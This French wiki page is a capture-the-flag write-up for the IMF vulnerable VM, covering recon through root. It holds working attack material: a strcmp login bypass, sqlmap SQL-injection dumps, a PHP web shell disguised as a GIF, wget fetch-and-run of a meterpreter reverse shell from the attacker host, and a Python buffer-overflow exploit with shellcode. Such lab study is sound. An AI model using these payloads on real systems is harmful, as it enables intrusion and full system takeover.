Outils pour utilisateurs

Outils du site


vm:imf

Différences

Ci-dessous, les différences entre deux révisions de la page.

Lien vers cette vue comparative

vm:imf [2017/03/22 15:43] (Version actuelle)
arkinar créée
Ligne 1: Ligne 1:
 +**IMF - Write Up**
  
 +__Reconnaissance__
 +
 +<code BASH>
 +Nmap -sS -A 192.168.43.39
 +
 +Seul le port 80 est ouvert :
 +
 +Apache/​2.4.18 (Ubuntu) Server at 192.168.43.39 Port 80
 +
 +</​code>​
 +
 +{{ :​vm:​capture.png?​nolink |}}
 +
 +__Exploitation web__
 +
 +Dans les sources de la page on remarque que le nom des fichiers js semblent suspect :
 +<file html index.html>​
 + <​script src="​js/​vendor/​modernizr-2.6.2.min.js"></​script>​
 +        <script src="​js/​vendor/​jquery-1.10.2.min.js"></​script>​
 +        <script src="​js/​bootstrap.min.js"></​script>​
 +        <script src="​js/​ZmxhZzJ7YVcxbVl.js"></​script>​
 +        <script src="​js/​XUnRhVzVwYzNS.js"></​script>​
 +        <script src="​js/​eVlYUnZjZz09fQ==.min.js"></​script>​
 +        <​script>​
 +</​file>​
 +
 +Si on les décode en base64 on obtient :
 +<code bash>
 +echo '​ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ=='​ | base64 -d
 +
 +flag2{aW1mYWRtaW5pc3RyYXRvcg==}
 +</​code>​
 +
 +<code bash>
 +echo '​aW1mYWRtaW5pc3RyYXRvcg=='​ | base64 -d
 +imfadministrator ​
 +</​code>​
 +
 +Effectivement un dossier imfadministrator existe bien et il nous demande une authentification.
 +
 +Dans les sources , un commentaire exclu le fait de bypasser l'​authentification avec une injection SQL.
 +
 +<file html imfadministrator/​index.php>​
 +
 +<form method="​POST"​ action="">​
 +<​label>​Username:</​label><​input type="​text"​ name="​user"​ value=""><​br />
 +<​label>​Password:</​label><​input type="​password"​ name="​pass"​ value=""><​br />
 +<input type="​submit"​ value="​Login">​
 +<!-- I couldn'​t get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger -->
 +</​form>​
 +
 +</​file>​
 +
 +Nous partons à la pêche aux informations et sur la page contact on trouve :
 +
 +{{ :​vm:​contact.png?​nolink |}}
 +
 +Nous avons donc potentiellement trois noms de compte :
 +  - rmichaels
 +  - akeith
 +  - estone
 +
 +Pour bypass l'​authentification nous allons utilisons un faille de comparaison sur la fonction strcmp.
 +
 +<​code>​
 +http://​192.168.43.39/​imfadministrator/​
 +post :
 +user=rmichaels&​pass[]=abc
 +</​code>​
 +
 +Notre authentification est bien bypassée.
 +
 +On decode le flag :
 +<code bash>
 +echo '​Y29udGludWVUT2Ntcw=='​ | base64 -d
 +continueTOcms
 +</​code>​
 +
 +{{ :​vm:​cms.png?​nolink |}}
 +
 +On test le paramètre pagename de l'url
 +
 +<​code>​
 +http://​192.168.43.39/​imfadministrator/​cms.php?​pagename=disavowlist'​
 +</​code>​
 +
 +{{ :​vm:​cms_sqli.png?​nolink |}}
 +
 +Une injection sql est possible.
 +
 +On exploite l'​injection avec sqlmap :
 +
 +<code bash>
 +./sqlmap.py -u "​http://​192.168.43.39/​imfadministrator/​cms.php?​pagename=disavowlist"​ --cookie="​PHPSESSID=srpepu19dpq0ofmst2hl1b31n4"​ -D admin -T pages --columns ​
 +
 +Database: admin                                                                ​
 +Table: pages
 +[3 columns]
 ++----------+--------------+
 +| Column ​  | Type         |
 ++----------+--------------+
 +| id       | int(11) ​     |
 +| pagedata | text         |
 +| pagename | varchar(255) |
 ++----------+--------------+
 +</​code>​
 +
 +On récupère le contenu de la table pages :
 +
 +<code bash>
 +./sqlmap.py -u "​http://​192.168.43.39/​imfadministrator/​cms.php?​pagename=disavowlist"​ --cookie="​PHPSESSID=srpepu19dpq0ofmst2hl1b31n4"​ -D admin -T pages --dump
 +
 +Database: admin
 +Table: pages
 +[4 entries]
 ++----+----------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+
 +| id | pagename ​            | pagedata ​                                                                                                                                                             |
 ++----+----------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+
 +| 1  | upload ​              | Under Construction. ​                                                                                                                                                  |
 +| 2  | home                 | Welcome to the IMF Administration. ​                                                                                                                                   |
 +| 3  | tutorials-incomplete | Training classrooms available. <br /><​img src="​./​images/​whiteboard.jpg"><​br /> Contact us for training. ​                                                              |
 +| 4  | disavowlist ​         | <​h1>​Disavowed List</​h1><​img src="​./​images/​redacted.jpg"><​br /><​ul><​li>​*********</​li><​li>​****** ******</​li><​li>​*******</​li><​li>​**** ********</​li></​ul><​br />​-Secretary |
 ++----+----------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+
 +</​code>​
 +
 +On va visiter la nouvelle page découverte :
 +
 +<​code>​
 +http://​192.168.43.39/​imfadministrator/​cms.php?​pagename=tutorials-incomplete
 +</​code>​
 +
 +
 +{{ :​vm:​qr_code.png?​nolink |}}
 +
 +On décode le QRcode dans la photos avec le site [[https://​zxing.org/​w/​decode]]
 +
 +On obtient :
 +<​code>​
 +flag4{dXBsb2Fkcjk0Mi5waHA=}
 +</​code>​
 +On décode le base64 :
 +<code bash>
 +echo '​dXBsb2Fkcjk0Mi5waHA='​ | base64 -d
 +uploadr942.php
 +</​code>​
 +On va sur la page :
 +<​code>​
 +http://​192.168.43.39/​imfadministrator/​uploadr942.php
 +</​code>​
 +
 +{{ :​vm:​upload.png?​nolink |}}
 +
 +L'​upload n’accepte que les extensions en .gif
 +
 +Pour uploader notre script php il faut le préparer.
 +
 +On créé un fichier gif :
 +<code bash>
 +echo "​FFD8FFE0"​ | xxd -r -p > shell_wu2.gif
 +</​code>​
 +
 +On insère notre script php dedans :
 +<code bash>
 +echo '<?​php $cmd=$_GET["​cmd"​];​ echo `$cmd`; ?>' >> shell_wu2.gif
 +</​code>​
 +
 +Une fois uploadé dans le code source de la page on remarque :
 +
 +<file html uploadr942.php>​
 +<​body>​
 +<​h1>​Intelligence Upload Form</​h1> ​
 +File successfully uploaded.
 +<!-- 566e7e83b57e --><​form id="​Upload"​ action=""​ enctype="​multipart/​form-data"​ method="​post">​
 + <​p> ​
 +</​file>​
 +
 +Notre fichier se situe sur le serveur à l'url suivante :
 +<​code>​
 +http://​192.168.43.39/​imfadministrator/​uploads/​566e7e83b57e.gif
 +</​code>​
 +
 +On génère un reverse shell avec metasploit :
 +
 +<code bash>
 +msfvenom -p linux/​x86/​meterpreter/​reverse_tcp LHOST=192.168.43.172 LPORT=8080 -f elf > shell2.elf ​
 +</​code>​
 +
 +
 +On démarre un serveur web python sur notre machine :
 +<code bash>
 +python -m SimpleHTTPServer 80
 +</​code>​
 +
 +Nous allons demander à notre backdoor de récupérer notre reverse shell et de lui mettre les pleins droits :
 +<​code>​
 +http://​192.168.43.39/​imfadministrator/​uploads/​566e7e83b57e.gif?​cmd=wget 192.168.43.172/​shell2.elf
 +http://​192.168.43.39/​imfadministrator/​uploads/​566e7e83b57e.gif?​cmd=chmod 777 shell2.elf
 +</​code>​
 +
 +Sur notre machine on ouvre un listener msf avec comme payload linux/​x86/​meterpreter/​reverse_tcp
 +
 +<​code>​
 +use exploit/​multi/​handler
 +set lhost 192.168.43.172
 +set lport 8080
 +set payload linux/​x86/​meterpreter/​reverse_tcp
 +run
 +</​code>​
 +
 +Nous exécutons notre reverse shell :
 +<​code>​
 +http://​192.168.43.39/​imfadministrator/​uploads/​566e7e83b57e.gif?​cmd=./​shell2.elf
 +</​code>​
 +
 +On passe en mode shell :
 +<​code>​
 +meterpreter>​shell
 +</​code>​
 +
 +__Exploitation système & Élévation de privilège__
 +
 +On affiche le flag n°5 :
 +<​code>​
 +www-data@imf:/​var/​www/​html/​imfadministrator/​uploads$ cat flag5_abc123def.txt
 +flag5{YWdlbnRzZXJ2aWNlcw==}
 +</​code>​
 +
 +On le décode en base64 :
 +<​code>​
 +echo '​YWdlbnRzZXJ2aWNlcw=='​ | base64 -d
 +agentservices
 +</​code>​
 +
 +Si on regarde les connexions de la machine :
 +<code bash>
 +netstat -plnt
 +
 +Proto Recv-Q Send-Q Local Address ​          ​Foreign Address ​        ​State ​      ​PID/​Program name
 +tcp        0      0 127.0.0.1:​3306 ​         0.0.0.0:​* ​              ​LISTEN ​     -               
 +tcp        0      0 0.0.0.0:​7788 ​           0.0.0.0:​* ​              ​LISTEN ​     -               
 +tcp        0      0 0.0.0.0:​1234 ​           0.0.0.0:​* ​              ​LISTEN ​     2167/​nc ​        
 +tcp        0      0 0.0.0.0:​22 ​             0.0.0.0:​* ​              ​LISTEN ​     -               
 +tcp6       ​0 ​     0 :::80                   :::​* ​                   LISTEN ​     -               
 +tcp6       ​0 ​     0 :::22                   :::​* ​                   LISTEN ​     - 
 +</​code>​
 +
 +Le soft agent tourne sur le port 7788 accessible uniquement en local
 +
 +Il se situe dans le dossier : /​usr/​local/​bin
 +
 +On récupère le fichier :
 +<​code>​
 +meterpreter>​ /​user/​local/​bin/​agent .
 +</​code>​
 +
 +On le décompile sur [[https://​retdec.com/​decompilation/​]]
 +
 +<code c>
 +int main(int argc, char ** argv) {
 +    setbuf((struct _IO_FILE *)g2, NULL);
 +    int32_t str2;
 +    asprintf((char **)&​str2,​ "​%i",​ 0x2ddd984);
 +    puts(" ​ ___ __  __ ___ ");
 +    puts(" |_ _|  \\/  | __|  Agent"​);​
 +    puts(" ​ | || |\\/| | _|   ​Reporting"​);​
 +    puts(" |___|_| ​ |_|_|    System\n"​);​
 +    printf("​\nAgent ID : ");
 +    int32_t str;
 +    if (fgets((char *)&str, 9, g1) == NULL) {
 +        // 0x8048746
 +        return -1;
 +    }
 +    // 0x80486ad
 +    if (strncmp((char *)&str, (char *)str2, 8) != 0) {
 +        // 0x80486c6
 +        puts("​Invalid Agent ID ");
 +        // branch -> 0x8048746
 +        // 0x8048746
 +        return -2;
 +    }
 +
 +</​code>​
 +
 +0x2ddd984 vaut 48093572 en int
 +
 +Lorsque on lance l’exécutable,​ il nous demande un identifiant : 
 +
 +On lui donne l'id 48093572
 +
 +Cela fonctionne. Maintenant il va falloir trouver comme exploiter les différents options pour obtenir des privilèges root.
 +
 +
 +On le debug en local avec gdb.
 +
 +Le but est de trouver un buffer overflow dessus.
 +
 +<code bash>
 +gdb ./agent
 +</​code>​
 +
 +Création d'un pattern avec gdb
 +<code bash>
 +gdb> pattern_create 300
 +
 +A%sA%nA%(A%)A%;​A%0A%1A%2A%3A%4A%5A%6A%7A%8A%9A$sA$nA$(A$)A$;​A$0A$1A$2A$3A$4A$5A$6A$7A$8A$9A-sA-nA-(A-)A-;​A-0A-1A-2A-3A-4A-5A-6A-7A-8A-9AasAanAa(Aa)Aa;​Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9AbsAbnAb(Ab)Ab;​Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9AcsAcnAc(Ac)Ac;​Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9AdsAdnAd(Ad)Ad;​Ad0Ad1Ad2Ad3Ad4
 +
 +gdb> r 
 +
 +</​code>​
 +
 +On entre le code ci-dessus, on choisit l'​option 3 et on colle le pattern.
 +
 +On obtient un segfault. On va donc chercher où se situe le buffer overflow :
 +<code bash>
 +gdb-peda$ pattern_search Ab0Ab1
 +Registers contain pattern buffer
 +EIP+0 found at offset: 168
 +EBP+0 found at offset: 164
 +</​code> ​
 +
 +EIP est réécrit à partir de 168 caractères.
 +
 +On prend l'​adresse de eax :
 +
 +<code bash>
 +jmpcall eax
 +0x8048563: call eax
 +</​code>​
 +
 +On regarde si il y a des éventuels sécurités :
 +<code bash>
 +gdb-peda$ checksec
 +CANARY ​   : disabled
 +FORTIFY ​  : disabled
 +NX        : disabled
 +PIE       : disabled
 +RELRO     : Partial
 +</​code>​
 +Il n'y a pas de protections.
 +
 +Le logiciel "​agent"​ tourne en local sur le port 7788, on mappe le port avec meterpreter :
 +
 +<code bash>
 +meterpreter>​ portfwd add -l 7788 -p 7788 -r 127.0.0.1
 +</​code>​
 +
 +Si on fait "nc 127.0.0.1 7788" sur notre pc on tombe bien sur le logiciel.
 +
 +
 +On génère le payload contenu dans notre exploit : 
 +
 +<code bash>
 +msfvenom -p linux/​x86/​meterpreter/​reverse_tcp LHOST=192.168.43.172 LPORT=1234 -f python -b “\x00\x0a\x0d”
 +</​code>​
 +Les caractères en hexa à la fin (bad-char) empêche de mettre des null bytes et des retours à la ligne dans le payload.
 +
 +On rédige notre exploit (cf exploit.py) (ajout des sockets de connexion et de l'​adresse de eax)
 +
 +<file python exploit.py>​
 +import socket
 +imf = socket.socket(socket.AF_INET,​ socket.SOCK_STREAM)
 +imf.connect(("​localhost",​ 7788))
 +
 +imf.recv(1024)
 +imf.send("​48093572\n"​)
 +imf.recv(1024)
 +imf.send("​3\n"​)
 +imf.recv(1024)
 +
 +
 +buf =  ""​
 +buf += "​\xdb\xc1\xbf\x45\x74\x9d\x26\xd9\x74\x24\xf4\x5d\x31"​
 +buf += "​\xc9\xb1\x12\x83\xed\xfc\x31\x7d\x16\x03\x7d\x16\xe2"​
 +buf += "​\xb0\x45\x46\xd1\xd9\xf5\x3b\x4d\x77\xf8\x0b\x17\x0e"​
 +buf += "​\x1d\xa6\x58\x87\x85\x51\x99\x0f\x12\x0e\x71\x4d\x65"​
 +buf += "​\x4a\x50\xd8\x84\x38\x32\x82\x16\xec\xed\xbb\x76\x4d"​
 +buf += "​\xdf\x3b\xca\x55\x66\x3b\x3b\x5a\x98\xb2\xd8\x9b\x73"​
 +buf += "​\xc8\xdf\xff\x88\x60\xa2\x32\x10\xdb\xd4\x2c\x88\x6d"​
 +buf += "​\xea\x1e\xa8\x5c\x73\xa1\x4e"​
 +
 +buf+= "​\x90"​*(168-len(buf))+"​\x63\x85\x04\x08\n"​
 +
 +#send exploit
 +imf.send(buf)
 +
 +print "​Payload Sent |+| Check Sessions."​
 +</​file>​
 +
 +On met le listener en place avec metasploit sur le port 1234 :
 +
 +<code bash>
 +use exploit/​multi/​handler
 +set lhost 192.168.43.172
 +set lport 1234
 +set payload linux/​x86/​meterpreter/​reverse_tcp
 +run
 +</​code>​
 +
 +
 +On exécute notre exploit: ​
 +<code bash>
 +python exploit.py
 +</​code>​
 +
 +Nous obtenons une session meterpreter avec les droits root.
 +
 +On affiche le dernier flag :
 +<code bash>
 +root@imf:/# cat /​root/​Flag.txt
 +flag6{R2gwc3RQcm90MGMwbHM=}
 +</​code>​
 +On décode le dernier flag :
 +<code bash>
 +echo '​R2gwc3RQcm90MGMwbHM='​ | base64 -d
 +Gh0stProt0c0ls
 +</​code>​
vm/imf.txt · Dernière modification: 2017/03/22 15:43 par arkinar